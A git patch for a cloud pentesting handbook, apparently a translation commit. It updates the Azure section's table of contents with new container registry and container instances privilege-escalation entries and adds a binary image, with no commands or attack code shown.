From 5db2a03925b21b79f09c9956c5fa2886172d7950 Mon Sep 17 00:00:00 2001 From: Translator Date: Sun, 12 Jan 2025 18:44:30 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation --- src/SUMMARY.md | 12 +- src/images/registry_roles.png | Bin 0 -> 33553 bytes .../az-container-instances-privesc.md | 64 +++++++ .../az-container-registry-privesc.md | 115 +++++++++++++ .../az-services/az-container-instances.md | 45 +++++ .../az-services/az-container-registry.md | 157 ++++++++++++++++++ 6 files changed, 389 insertions(+), 4 deletions(-) create mode 100644 src/images/registry_roles.png create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-container-instances.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-container-registry.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e3e18e17d..7ab73713c 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -408,6 +408,8 @@ - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md) + - [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-instances.md) - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -445,7 +447,7 @@ - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) - [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-post-exploitation.md) + - [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md) - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) @@ -460,14 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/images/registry_roles.png b/src/images/registry_roles.png new file mode 100644 index 0000000000000000000000000000000000000000..f1d4a361518909201ee9ff872cf1002c4acf238c GIT binary patch literal 33553 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 